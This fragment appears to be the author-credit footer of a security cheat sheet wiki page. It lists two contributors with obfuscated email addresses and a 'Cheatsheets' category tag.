Eric Sheridan - eric.sheridan[at]whitehatsec.com<br/>
Dave Wichers - dave.wichers[at]aspectsecurity.com

[[Category:Cheatsheets]]